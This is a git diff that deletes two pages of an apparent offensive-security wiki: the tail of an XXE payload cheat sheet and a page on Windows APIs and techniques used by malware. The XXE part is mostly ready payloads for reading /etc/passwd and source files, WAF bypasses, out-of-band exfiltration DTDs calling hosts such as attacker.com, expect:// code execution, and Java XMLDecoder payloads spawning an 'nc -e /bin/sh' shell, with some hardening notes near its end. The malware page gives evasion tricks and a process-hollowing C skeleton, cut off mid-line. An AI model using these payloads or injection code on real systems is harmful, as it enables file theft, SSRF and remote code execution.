-```xml
-POST /action HTTP/1.0
-Content-Type: text/xml
-Content-Length: 52
-
-<?xml version="1.0" encoding="UTF-8"?><foo>bar</foo>
-```
-
-### Content-Type: From JSON to XEE
-
-To change the request you could use a Burp Extension named “**Content Type Converter**“. [Here](https://exploitstube.com/xxe-for-fun-and-profit-converting-json-request-to-xml.html) you can find this example:
-
-```xml
-Content-Type: application/json;charset=UTF-8
-
-{"root": {"root": {
-  "firstName": "Avinash",
-  "lastName": "",
-  "country": "United States",
-  "city": "ddd",
-  "postalCode": "ddd"
-}}}
-```
-
-```xml
-Content-Type: application/xml;charset=UTF-8
-
-<?xml version="1.0" encoding="UTF-8" standalone="no"?>
-<!DOCTYPE testingxxe [<!ENTITY xxe SYSTEM "http://34.229.92.127:8000/TEST.ext" >]>
-<root>
- <root>
-  <firstName>&xxe;</firstName>
-  <lastName/>
-  <country>United States</country>
-  <city>ddd</city>
-  <postalCode>ddd</postalCode>
- </root>
-</root>
-```
-
-Another example can be found [here](https://medium.com/hmif-itb/googlectf-2019-web-bnv-writeup-nicholas-rianto-putra-medium-b8e2d86d78b2).
-
-## WAF & Protections Bypasses
-
-### Base64
-
-```xml
-<!DOCTYPE test [ <!ENTITY % init SYSTEM "data://text/plain;base64,ZmlsZTovLy9ldGMvcGFzc3dk"> %init; ]><foo/>
-```
-
-This only work if the XML server accepts the `data://` protocol.
-
-### UTF-7
-
-You can use the \[**"Encode Recipe**" of cyberchef here ]\(\[[https://gchq.github.io/CyberChef/index.html#recipe=Encode_text%28'UTF-7](https://gchq.github.io/CyberChef/#recipe=Encode_text%28'UTF-7) %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4)to]\([https://gchq.github.io/CyberChef/index.html#recipe=Encode_text%28'UTF-7 %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to](https://gchq.github.io/CyberChef/#recipe=Encode_text%28%27UTF-7%20%2865000%29%27%29&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to)) transform to UTF-7.
-
-```xml
-<!xml version="1.0" encoding="UTF-7"?-->
-+ADw-+ACE-DOCTYPE+ACA-foo+ACA-+AFs-+ADw-+ACE-ENTITY+ACA-example+ACA-SYSTEM+ACA-+ACI-/etc/passwd+ACI-+AD4-+ACA-+AF0-+AD4-+AAo-+ADw-stockCheck+AD4-+ADw-productId+AD4-+ACY-example+ADs-+ADw-/productId+AD4-+ADw-storeId+AD4-1+ADw-/storeId+AD4-+ADw-/stockCheck+AD4-
-```
-
-```xml
-<?xml version="1.0" encoding="UTF-7"?>
-+ADwAIQ-DOCTYPE foo+AFs +ADwAIQ-ELEMENT foo ANY +AD4
-+ADwAIQ-ENTITY xxe SYSTEM +ACI-http://hack-r.be:1337+ACI +AD4AXQA+
-+ADw-foo+AD4AJg-xxe+ADsAPA-/foo+AD4
-```
-
-### File:/ Protocol Bypass
-
-If the web is using PHP, instead of using `file:/` you can use **php wrappers**`php://filter/convert.base64-encode/resource=` to **access internal files**.
-
-If the web is using Java you may check the [**jar: protocol**](xxe-xee-xml-external-entity.md#jar-protocol).
-
-### HTML Entities
-
-Trick from [**https://github.com/Ambrotd/XXE-Notes**](https://github.com/Ambrotd/XXE-Notes)\
-You can create an **entity inside an entity** encoding it with **html entities** and then call it to **load a dtd**.\
-Note that the **HTML Entities** used needs to be **numeric** (like \[in this example]\([https://gchq.github.io/CyberChef/index.html#recipe=To_HTML_Entity%28true,'Numeric entities'%29\&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B)\\](<https://gchq.github.io/CyberChef/index.html#recipe=To_HTML_Entity%28true,%27Numeric%20entities%27%29&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B)%5C>)).
-
-```xml
-<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [<!ENTITY % a "<&#x21;&#x45;&#x4E;&#x54;&#x49;&#x54;&#x59;&#x25;&#x64;&#x74;&#x64;&#x53;&#x59;&#x53;&#x54;&#x45;&#x4D;&#x22;&#x68;&#x74;&#x74;&#x70;&#x3A;&#x2F;&#x2F;&#x6F;&#x75;&#x72;&#x73;&#x65;&#x72;&#x76;&#x65;&#x72;&#x2E;&#x63;&#x6F;&#x6D;&#x2F;&#x62;&#x79;&#x70;&#x61;&#x73;&#x73;&#x2E;&#x64;&#x74;&#x64;&#x22;&#x3E;" >%a;%dtd;]>
-<data>
-    <env>&exfil;</env>
-</data>
-```
-
-DTD example:
-
-```xml
-<!ENTITY % data SYSTEM "php://filter/convert.base64-encode/resource=/flag">
-<!ENTITY % abt "<!ENTITY exfil SYSTEM 'http://172.17.0.1:7878/bypass.xml?%data;'>">
-%abt;
-%exfil;
-```
-
-## PHP Wrappers
-
-### Base64
-
-**Extract** _**index.php**_
-
-```xml
-<!DOCTYPE replace [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php"> ]>
-```
-
-#### **Extract external resource**
-
-```xml
-<!DOCTYPE replace [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=http://10.0.0.3"> ]>
-```
-
-### Remote code execution
-
-**If PHP "expect" module is loaded**
-
-```xml
-<?xml version="1.0" encoding="ISO-8859-1"?>
-<!DOCTYPE foo [ <!ELEMENT foo ANY >
-<!ENTITY xxe SYSTEM "expect://id" >]>
-<creds>
-    <user>&xxe;</user>
-    <pass>mypass</pass>
-</creds>
-```
-
-## **SOAP - XEE**
-
-```xml
-<soap:Body><foo><![CDATA[<!DOCTYPE doc [<!ENTITY % dtd SYSTEM "http://x.x.x.x:22/"> %dtd;]><xxx/>]]></foo></soap:Body>
-```
-
-## XLIFF - XXE
-
-This example is inspired in [https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe](https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe)
-
-XLIFF (XML Localization Interchange File Format) is utilized to standardize data exchange in localization processes. It's an XML-based format primarily used for transferring localizable data among tools during localization and as a common exchange format for CAT (Computer-Aided Translation) tools.
-
-### Blind Request Analysis
-
-A request is made to the server with the following content:
-
-```xml
-------WebKitFormBoundaryqBdAsEtYaBjTArl3
-Content-Disposition: form-data; name="file"; filename="xxe.xliff"
-Content-Type: application/x-xliff+xml
-
-<?xml version="1.0" encoding="UTF-8"?>
-<!DOCTYPE XXE [
-<!ENTITY % remote SYSTEM "http://redacted.burpcollaborator.net/?xxe_test"> %remote; ]>
-<xliff srcLang="en" trgLang="ms-MY" version="2.0"></xliff>
-------WebKitFormBoundaryqBdAsEtYaBjTArl3--
-```
-
-However, this request triggers an internal server error, specifically mentioning a problem with the markup declarations:
-
-```json
-{
-  "status": 500,
-  "error": "Internal Server Error",
-  "message": "Error systemId: http://redacted.burpcollaborator.net/?xxe_test; The markup declarations contained or pointed to by the document type declaration must be well-formed."
-}
-```
-
-Despite the error, a hit is recorded on Burp Collaborator, indicating some level of interaction with the external entity.
-
-Out of Band Data Exfiltration To exfiltrate data, a modified request is sent:
-
-```
-------WebKitFormBoundaryqBdAsEtYaBjTArl3
-Content-Disposition: form-data; name="file"; filename="xxe.xliff"
-Content-Type: application/x-xliff+xml
-
-<?xml version="1.0" encoding="UTF-8"?>
-<!DOCTYPE XXE [
-<!ENTITY % remote SYSTEM "http://attacker.com/evil.dtd"> %remote; ]>
-<xliff srcLang="en" trgLang="ms-MY" version="2.0"></xliff>
-------WebKitFormBoundaryqBdAsEtYaBjTArl3--
-```
-
-This approach reveals that the User Agent indicates the use of Java 1.8. A noted limitation with this version of Java is the inability to retrieve files containing a newline character, such as /etc/passwd, using the Out of Band technique.
-
-Error-Based Data Exfiltration To overcome this limitation, an Error-Based approach is employed. The DTD file is structured as follows to trigger an error that includes data from a target file:
-
-```xml
-<!ENTITY % data SYSTEM "file:///etc/passwd">
-<!ENTITY % foo "<!ENTITY &#37; xxe SYSTEM 'file:///nofile/'>">
-%foo;
-%xxe;
-```
-
-The server responds with an error, importantly reflecting the non-existent file, indicating that the server is attempting to access the specified file:
-
-```javascript
-{"status":500,"error":"Internal Server Error","message":"IO error.\nReason: /nofile (No such file or directory)"}
-```
-
-To include the file's content in the error message, the DTD file is adjusted:
-
-```xml
-<!ENTITY % data SYSTEM "file:///etc/passwd">
-<!ENTITY % foo "<!ENTITY &#37; xxe SYSTEM 'file:///nofile/%data;'>">
-%foo;
-%xxe;
-```
-
-This modification leads to the successful exfiltration of the file's content, as it is reflected in the error output sent via HTTP. This indicates a successful XXE (XML External Entity) attack, leveraging both Out of Band and Error-Based techniques to extract sensitive information.
-
-## RSS - XEE
-
-Valid XML with RSS format to exploit an XXE vulnerability.
-
-### Ping back
-
-Simple HTTP request to attackers server
-
-```xml
-<?xml version="1.0" encoding="UTF-8"?>
-<!DOCTYPE title [ <!ELEMENT title ANY >
-<!ENTITY xxe SYSTEM "http://<AttackIP>/rssXXE" >]>
-<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
-<channel>
-<title>XXE Test Blog</title>
-<link>http://example.com/</link>
-<description>XXE Test Blog</description>
-<lastBuildDate>Mon, 02 Feb 2015 00:00:00 -0000</lastBuildDate>
-<item>
-<title>&xxe;</title>
-<link>http://example.com</link>
-<description>Test Post</description>
-<author>author@example.com</author>
-<pubDate>Mon, 02 Feb 2015 00:00:00 -0000</pubDate>
-</item>
-</channel>
-</rss>
-```
-
-### Read file
-
-```xml
-<?xml version="1.0" encoding="UTF-8"?>
-<!DOCTYPE title [ <!ELEMENT title ANY >
-<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
-<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
-<channel>
-<title>The Blog</title>
-<link>http://example.com/</link>
-<description>A blog about things</description>
-<lastBuildDate>Mon, 03 Feb 2014 00:00:00 -0000</lastBuildDate>
-<item>
-<title>&xxe;</title>
-<link>http://example.com</link>
-<description>a post</description>
-<author>author@example.com</author>
-<pubDate>Mon, 03 Feb 2014 00:00:00 -0000</pubDate>
-</item>
-</channel>
-</rss>
-```
-
-### Read source code
-
-Using PHP base64 filter
-
-```xml
-<?xml version="1.0" encoding="UTF-8"?>
-<!DOCTYPE title [ <!ELEMENT title ANY >
-<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=file:///challenge/web-serveur/ch29/index.php" >]>
-<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
-<channel>
-<title>The Blog</title>
-<link>http://example.com/</link>
-<description>A blog about things</description>
-<lastBuildDate>Mon, 03 Feb 2014 00:00:00 -0000</lastBuildDate>
-<item>
-<title>&xxe;</title>
-<link>http://example.com</link>
-<description>a post</description>
-<author>author@example.com</author>
-<pubDate>Mon, 03 Feb 2014 00:00:00 -0000</pubDate>
-</item>
-</channel>
-</rss>
-```
-
-## Java XMLDecoder XEE to RCE
-
-XMLDecoder is a Java class that creates objects based on a XML message. If a malicious user can get an application to use arbitrary data in a call to the method **readObject**, he will instantly gain code execution on the server.
-
-### Using Runtime().exec()
-
-```xml
-<?xml version="1.0" encoding="UTF-8"?>
-<java version="1.7.0_21" class="java.beans.XMLDecoder">
- <object class="java.lang.Runtime" method="getRuntime">
-      <void method="exec">
-      <array class="java.lang.String" length="6">
-          <void index="0">
-              <string>/usr/bin/nc</string>
-          </void>
-          <void index="1">
-              <string>-l</string>
-          </void>
-          <void index="2">
-              <string>-p</string>
-          </void>
-          <void index="3">
-              <string>9999</string>
-          </void>
-          <void index="4">
-              <string>-e</string>
-          </void>
-          <void index="5">
-              <string>/bin/sh</string>
-          </void>
-      </array>
-      </void>
- </object>
-</java>
-```
-
-### ProcessBuilder
-
-```xml
-<?xml version="1.0" encoding="UTF-8"?>
-<java version="1.7.0_21" class="java.beans.XMLDecoder">
-  <void class="java.lang.ProcessBuilder">
-    <array class="java.lang.String" length="6">
-      <void index="0">
-        <string>/usr/bin/nc</string>
-      </void>
-      <void index="1">
-         <string>-l</string>
-      </void>
-      <void index="2">
-         <string>-p</string>
-      </void>
-      <void index="3">
-         <string>9999</string>
-      </void>
-      <void index="4">
-         <string>-e</string>
-      </void>
-      <void index="5">
-         <string>/bin/sh</string>
-      </void>
-    </array>
-    <void method="start" id="process">
-    </void>
-  </void>
-</java>
-```
-
-## XXE + WrapWrap + Lightyear + bypasses
-
-Take a look to this amazing report [https://swarm.ptsecurity.com/impossible-xxe-in-php/](https://swarm.ptsecurity.com/impossible-xxe-in-php/)
-
-## Tools
-
-
-{{#ref}}
-https://github.com/luisfontes19/xxexploiter
-{{#endref}}
-
-### Python lxml Parameter-Entity XXE (Error-Based File Disclosure)
-
-> [!INFO]
-> The Python library **lxml** uses **libxml2** under the hood.  Versions prior to **lxml 5.4.0 / libxml2 2.13.8** still expand *parameter* entities even when `resolve_entities=False`, making them reachable when the application enables `load_dtd=True` and/or `resolve_entities=True`.  This allows Error-Based XXE payloads that embed the contents of local files into the parser error message.
-
-#### 1. Exploiting lxml < 5.4.0
-1. Identify or create a *local* DTD on disk that defines an **undefined** parameter entity (e.g. `%config_hex;`).
-2. Craft an internal DTD that:
-   * Loads the local DTD with `<!ENTITY % local_dtd SYSTEM "file:///tmp/xml/config.dtd">`.
-   * Redefines the undefined entity so that it:
-     - Reads the target file (`<!ENTITY % flag SYSTEM "file:///tmp/flag.txt">`).
-     - Builds another parameter entity that refers to an **invalid path** containing the `%flag;` value and triggers a parser error (`<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///aaa/%flag;'>">`).
-3. Finally expand `%local_dtd;` and `%eval;` so that the parser encounters `%error;`, fails to open `/aaa/<FLAG>` and leaks the flag inside the thrown exception – which is often returned to the user by the application.
-
-```xml
-<!DOCTYPE colors [
-  <!ENTITY % local_dtd SYSTEM "file:///tmp/xml/config.dtd">
-  <!ENTITY % config_hex '
-    <!ENTITY % flag SYSTEM "file:///tmp/flag.txt">
-    <!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///aaa/%flag;'>">
-  %eval;'>
-  %local_dtd;
-]>
-```
-When the application prints the exception the response contains:
-```
-Error : failed to load external entity "file:///aaa/FLAG{secret}"
-```
-
-> [!TIP]
-> If the parser complains about `%`/`&` characters inside the internal subset, double-encode them (`&#x26;#x25;` ⇒ `%`) to delay expansion.
-
-#### 2. Bypassing the lxml 5.4.0 hardening (libxml2 still vulnerable)
-`lxml` ≥ 5.4.0 forbids *error* parameter entities like the one above, but **libxml2** still allows them to be embedded in a *general* entity.  The trick is to:
-1. Read the file into a parameter entity `%file`.
-2. Declare another parameter entity that builds a **general** entity `c` whose SYSTEM identifier uses a *non-existent protocol* such as `meow://%file;`.
-3. Place `&c;` in the XML body.  When the parser tries to dereference `meow://…` it fails and reflects the full URI – including the file contents – in the error message.
-
-```xml
-<!DOCTYPE colors [
-  <!ENTITY % a '
-    <!ENTITY % file SYSTEM "file:///tmp/flag.txt">
-    <!ENTITY % b "<!ENTITY c SYSTEM 'meow://%file;'>">
-  '>
-  %a; %b;
-]>
-<colors>&c;</colors>
-```
-
-#### Key takeaways
-* **Parameter entities** are still expanded by libxml2 even when `resolve_entities` should block XXE.
-* An **invalid URI** or **non-existent file** is enough to concatenate controlled data into the thrown exception.
-* The technique works **without outbound connectivity**, making it ideal for strictly egress-filtered environments.
-
-#### Mitigation guidance
-* Upgrade to **lxml ≥ 5.4.0** and ensure the underlying **libxml2** is **≥ 2.13.8**.
-* Disable `load_dtd` and/or `resolve_entities` unless absolutely required.
-* Avoid returning raw parser errors to the client.
-
-### Java DocumentBuilderFactory hardening example
-
-Java applications frequently parse XML using `DocumentBuilderFactory`.  By default the factory **allows external entity resolution**, making it vulnerable to XXE and SSRF if no additional hardening flags are set:
-
-```java
-DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
-DocumentBuilder builder = dbf.newDocumentBuilder(); // XXE-prone
-```
-
-Secure configuration example:
-
-```java
-DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
-
-// Completely forbid any DOCTYPE declarations (best-effort defence)
-dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
-
-// Disable expansion of external entities
-dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
-dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
-
-// Enable "secure processing" which applies additional limits
-dbf.setFeature(javax.xml.XMLConstants.FEATURE_SECURE_PROCESSING, true);
-
-// Defensive extras
-dbf.setXIncludeAware(false);
-dbf.setExpandEntityReferences(false);
-
-DocumentBuilder builder = dbf.newDocumentBuilder();
-```
-
-If the application must support DTDs internally, keep `disallow-doctype-decl` disabled but **always** leave the two `external-*-entities` features set to `false`.  The combination prevents classical file-disclosure payloads (`file:///etc/passwd`) as well as network-based SSRF vectors (`http://169.254.169.254/…`, `jar:` protocol, etc.).
-
-Real-world case study: **CVE-2025-27136** in the Java S3 emulator *LocalS3* used the vulnerable constructor shown above.  An unauthenticated attacker could supply a crafted XML body to the `CreateBucketConfiguration` endpoint and have the server embed local files (for example `/etc/passwd`) in the HTTP response.
-
-### XXE in JMF/Print Orchestration Services → SSRF
-
-Some print workflow/orchestration platforms expose a network-facing Job Messaging Format (JMF) listener that accepts XML over TCP. If the underlying parser accepts a `DOCTYPE` and resolves external entities, you can leverage a classical XXE to force the server to make outbound requests (SSRF) or access local resources.
-
-Key points observed in the wild:
-- Network listener (e.g., JMF client) on a dedicated port (commonly 4004 in Xerox FreeFlow Core).
-- Java-based XML parsing inside a jar (e.g., `jmfclient.jar`) without `disallow-doctype-decl` or entity resolution disabled.
-- Out-of-band callbacks reliably confirm exploitation.
-
-Minimal JMF-style SSRF probe (structure varies by product but the DOCTYPE is what matters):
-
-```xml
-<?xml version="1.0" encoding="UTF-8"?>
-<!DOCTYPE JMF [
-  <!ENTITY probe SYSTEM "http://attacker-collab.example/oob">  
-]>
-<JMF SenderID="hacktricks" Version="1.3" TimeStamp="2025-08-13T10:10:10Z">
-  <Query Type="KnownMessages">&probe;</Query>
-</JMF>
-```
-
-Notes:
-- Replace the entity URL with your collaborator. If SSRF is possible the server will resolve it while parsing the message.
-- Hardenings to look for: `disallow-doctype-decl=true`, `external-general-entities=false`, `external-parameter-entities=false`.
-- Even when the JMF port does not serve files, SSRF can be chained for internal recon or to reach management APIs bound to localhost.
-
-References for this vector are listed at the end of the page.
-
-## References
-
-- [OffSec Blog – CVE-2025-27136 LocalS3 XXE](https://www.offsec.com/blog/cve-2025-27136/)
-
-- [https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf](https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf)
-- [https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html](https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html)
-- Extract info via HTTP using own external DTD: [https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/](https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/)
-- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20injection)
-- [https://gist.github.com/staaldraad/01415b990939494879b4](https://gist.github.com/staaldraad/01415b990939494879b4)
-- [https://medium.com/@onehackman/exploiting-xml-external-entity-xxe-injections-b0e3eac388f9](https://medium.com/@onehackman/exploiting-xml-external-entity-xxe-injections-b0e3eac388f9)
-- [https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe)
-- [https://gosecure.github.io/xxe-workshop/#7](https://gosecure.github.io/xxe-workshop/#7)
-
-- [Dojo CTF Challenge #42 – Hex Color Palette XXE write-up](https://www.yeswehack.com/dojo/dojo-ctf-challenge-winners-42)
-- [lxml bug #2107279 – Parameter-entity XXE still possible](https://bugs.launchpad.net/lxml/+bug/2107279)
-- [Horizon3.ai – From Support Ticket to Zero Day (FreeFlow Core XXE/SSRF + Path Traversal)](https://horizon3.ai/attack-research/attack-blogs/from-support-ticket-to-zero-day/)
-- [Xerox FreeFlow Core Security Guide (architecture/ports)](https://securitydocs.business.xerox.com/wp-content/uploads/2025/03/Security-Guide-Information-Assurance-Disclosure-Xerox-FreeFlow-Core-8.0.pdf)
-- [Xerox Security Bulletin 025-013 – FreeFlow Core 8.0.5](https://securitydocs.business.xerox.com/wp-content/uploads/2025/08/Xerox-Security-Bulletin-025-013-for-Freeflow-Core-8.0.5.pdf)
-
-{{#include ../banners/hacktricks-training.md}}
diff --git a/src/reversing/common-api-used-in-malware.md b/src/reversing/common-api-used-in-malware.md
deleted file mode 100644
index 4d318d961aa..00000000000
--- a/src/reversing/common-api-used-in-malware.md
+++ /dev/null
@@ -1,247 +0,0 @@
-# Common API used in Malware
-
-{{#include ../banners/hacktricks-training.md}}
-
-## Generic
-
-### Networking
-
-| Raw Sockets   | WinAPI Sockets |
-| ------------- | -------------- |
-| socket()      | WSAStratup()   |
-| bind()        | bind()         |
-| listen()      | listen()       |
-| accept()      | accept()       |
-| connect()     | connect()      |
-| read()/recv() | recv()         |
-| write()       | send()         |
-| shutdown()    | WSACleanup()   |
-
-### TLS pinning and chunked transport
-
-Many loaders wrap their TCP stream in `SslStream` and pin the server’s leaf certificate against an embedded copy (certificate pinning). Bot info/tasks are compressed (e.g., GZip). When responses exceed a threshold (~1 MB), data is fragmented into small chunks (e.g., 16 KB segments) to avoid size-based heuristics and reduce memory spikes during deserialisation.
-
-
-### Persistence
-
-| Registry         | File          | Service                      |
-| ---------------- | ------------- | ---------------------------- |
-| RegCreateKeyEx() | GetTempPath() | OpenSCManager                |
-| RegOpenKeyEx()   | CopyFile()    | CreateService()              |
-| RegSetValueEx()  | CreateFile()  | StartServiceCtrlDispatcher() |
-| RegDeleteKeyEx() | WriteFile()   |                              |
-| RegGetValue()    | ReadFile()    |                              |
-
-### Encryption
-
-| Name                  |
-| --------------------- |
-| WinCrypt              |
-| CryptAcquireContext() |
-| CryptGenKey()         |
-| CryptDeriveKey()      |
-| CryptDecrypt()        |
-| CryptReleaseContext() |
-
-### Anti-Analysis/VM
-
-| Function Name                                             | Assembly Instructions |
-| --------------------------------------------------------- | --------------------- |
-| IsDebuggerPresent()                                       | CPUID()               |
-| GetSystemInfo()                                           | IN()                  |
-| GlobalMemoryStatusEx()                                    |                       |
-| GetVersion()                                              |                       |
-| CreateToolhelp32Snapshot \[Check if a process is running] |                       |
-| CreateFileW/A \[Check if a file exist]                    |                       |
-
-### Locale/keyboard-based execution guard
-
-Many stealers/loaders abort on certain locales to evade researchers and comply with threat-actor constraints. Typical checks:
-- `GetKeyboardLayout` to enumerate installed layouts (per-thread/user)
-- `GetLocaleInfoA/W` to resolve country/region codes
-- `GetSystemDefaultLangID` / `GetUserDefaultLangID`
-
-If any match a blocked list (commonly CIS countries), the loader exits immediately before network IOCs or injection.
-
-Defence/hunting
-- Flag processes that query multiple locale/keyboard APIs early in execution then exit with no observable activity.
-- Correlate with anti-VM checks (BIOS strings, PnP devices, disk model, services) reused from open-source projects (e.g., VMDetector) to catch gated execution.
-
-### Emulator API fingerprinting & sleep evasion
-
-Malware often fingerprints sandbox emulators by searching for Defender’s virtualised exports (seen in the Malware Protection Emulator). If any of these symbols are present (case-insensitive scan of the process), execution is delayed for 10–30 minutes and re-checked to waste analysis time.
-
-Examples of API names used as canaries:
-- `MpVmp32Entry`, `MpVmp32FastEnter`, `MpCallPreEntryPointCode`, `MpCallPostEntryPointCode`, `MpFinalize`, `MpReportEvent*`, `MpSwitchToNextThread*`
-- `VFS_*` family: `VFS_Open`, `VFS_Read`, `VFS_MapViewOfFile`, `VFS_UnmapViewOfFile`, `VFS_FindFirstFile/FindNextFile`, `VFS_CopyFile`, `VFS_DeleteFile`, `VFS_MoveFile`
-- `ThrdMgr_*`: `ThrdMgr_GetCurrentThreadHandle`, `ThrdMgr_SaveTEB`, `ThrdMgr_SwitchThreads`
-
-Typical delay primitive (user-land):
-```cmd
-cmd /c timeout /t %RANDOM_IN_[600,1800]% > nul
-```
-
-Argument gatekeeping
-- Operators sometimes require a benign-looking CLI switch to be present before running the payload (e.g., `/i:--type=renderer` to mimic Chromium child processes). If the switch is absent, the loader exits immediately, hindering naive sandbox execution.
-
-
-### Stealth
-
-| Name                     |                                                                            |
-| ------------------------ | -------------------------------------------------------------------------- |
-| VirtualAlloc             | Alloc memory (packers)                                                     |
-| VirtualProtect           | Change memory permission (packer giving execution permission to a section) |
-| ReadProcessMemory        | Injection into external processes                                          |
-| WriteProcessMemoryA/W    | Injection into external processes                                          |
-| NtWriteVirtualMemory     |                                                                            |
-| CreateRemoteThread       | DLL/Process injection...                                                   |
-| NtUnmapViewOfSection     |                                                                            |
-| QueueUserAPC             |                                                                            |
-| CreateProcessInternalA/W |                                                                            |
-
-### Execution
-
-| Function Name    |
-| ---------------- |
-| CreateProcessA/W |
-| ShellExecute     |
-| WinExec          |
-| ResumeThread     |
-| NtResumeThread   |
-
-### Miscellaneous
-
-- GetAsyncKeyState() -- Key logging
-- SetWindowsHookEx -- Key logging
-- GetForeGroundWindow -- Get running window name (or the website from a browser)
-- LoadLibrary() -- Import library
-- GetProcAddress() -- Import library
-- CreateToolhelp32Snapshot() -- List running processes
-- GetDC() -- Screenshot
-- BitBlt() -- Screenshot
-- InternetOpen(), InternetOpenUrl(), InternetReadFile(), InternetWriteFile() -- Access the Internet
-- FindResource(), LoadResource(), LockResource() -- Access resources of the executable
-
-## Malware Techniques
-
-### DLL Injection
-
-Execute an arbitrary DLL inside another process
-
-1. Locate the process to inject the malicious DLL: CreateToolhelp32Snapshot, Process32First, Process32Next
-2. Open the process: GetModuleHandle, GetProcAddress, OpenProcess
-3. Write the path to the DLL inside the process: VirtualAllocEx, WriteProcessMemory
-4. Create a thread in the process that will load the malicious DLL: CreateRemoteThread, LoadLibrary
-
-Other functions to use: NTCreateThreadEx, RtlCreateUserThread
-
-### Reflective DLL Injection
-
-Load a malicious DLL without calling normal Windows API calls.\
-The DLL is mapped inside a process, it will resolve the import addresses, fix the relocations and call the DllMain function.
-
-### Thread Hijacking
-
-Find a thread from a process and make it load a malicious DLL
-
-1. Find a target thread: CreateToolhelp32Snapshot, Thread32First, Thread32Next
-2. Open the thread: OpenThread
-3. Suspend the thread: SuspendThread
-4. Write the path to the malicious DLL inside the victim process: VirtualAllocEx, WriteProcessMemory
-5. Resume the thread loading the library: ResumeThread
-
-### PE Injection
-
-Portable Execution Injection: The executable will be written in the memory of the victim process and it will be executed from there.
-
-### Process Hollowing (a.k.a **RunPE**)
-
-`Process Hollowing` is one of the favourite **defence-evasion / execution** tricks used by Windows malware.  The idea is to launch a *legitimate* process in the **suspended** state, remove (hollow) its original image from memory and copy an **arbitrary PE** in its place.  When the primary thread is finally resumed the malicious entry-point executes under the guise of a trusted binary (often signed by Microsoft).
-
-Typical workflow:
-
-1. Spawn a benign host (e.g. `RegAsm.exe`, `rundll32.exe`, `msbuild.exe`) **suspended** so that no instructions run yet.
-   ```c
-   STARTUPINFOA  si = { sizeof(si) };
-   PROCESS_INFORMATION pi;
-   CreateProcessA("C:\\Windows\\Microsoft.NET\\Framework32\\v4.0.30319\\RegAsm.exe",
-                 NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi);
-   ```
-2. Read the malicious payload into memory and parse its PE headers to obtain `SizeOfImage`, sections and the new `EntryPoint`.
-3. **NtUnmapViewOfSection** / **ZwUnmapViewOfSection** – unmap the original image base of the suspended process.
-4. **VirtualAllocEx** – reserve RWX memory of `SizeOfImage` inside the remote process.
-5. **WriteProcessMemory** – copy the `Headers` first, then iterate over sections copying their raw data.
-6. **SetThreadContext** – patch the value of `EAX/RAX` (`RCX` on x64) or `Rip` in the context structure so that `EIP` points to the payload’s `EntryPoint`.
-7. **ResumeThread** – the thread continues, executing the attacker-supplied code.
-
-Minimal proof-of-concept (x86) skeleton:
-```c
-void RunPE(LPCSTR host, LPVOID payload, DWORD payloadSize){
-  // 1. create suspended process
-  STARTUPINFOA si = {sizeof(si)}; PROCESS_INFORMATION pi;
-  CreateProcessA(host, NULL,NULL,NULL,FALSE,CREATE_SUSPENDED,NULL,NULL,&si,&pi);
-
-  // 2. read remote PEB to get ImageBaseAddress
-  CONTEXT ctx; ctx.ContextFlags = CONTEXT_FULL;
-  GetThreadContext(pi.hThread,&ctx);
-  PVOID baseAddr;
-  ReadProcessMemory(pi.hProcess,(PVOID)(ctx.Ebx+8),&baseAddr,4,NULL);
-
-  // 3. unmap original image & allocate new region at same base
-  NtUnmapViewOfSection(pi.hProcess,baseAddr);
-  PVOID newBase = VirtualAllocEx(pi.hProcess,baseAddr,pHdr->OptionalHeader.SizeOfImage,
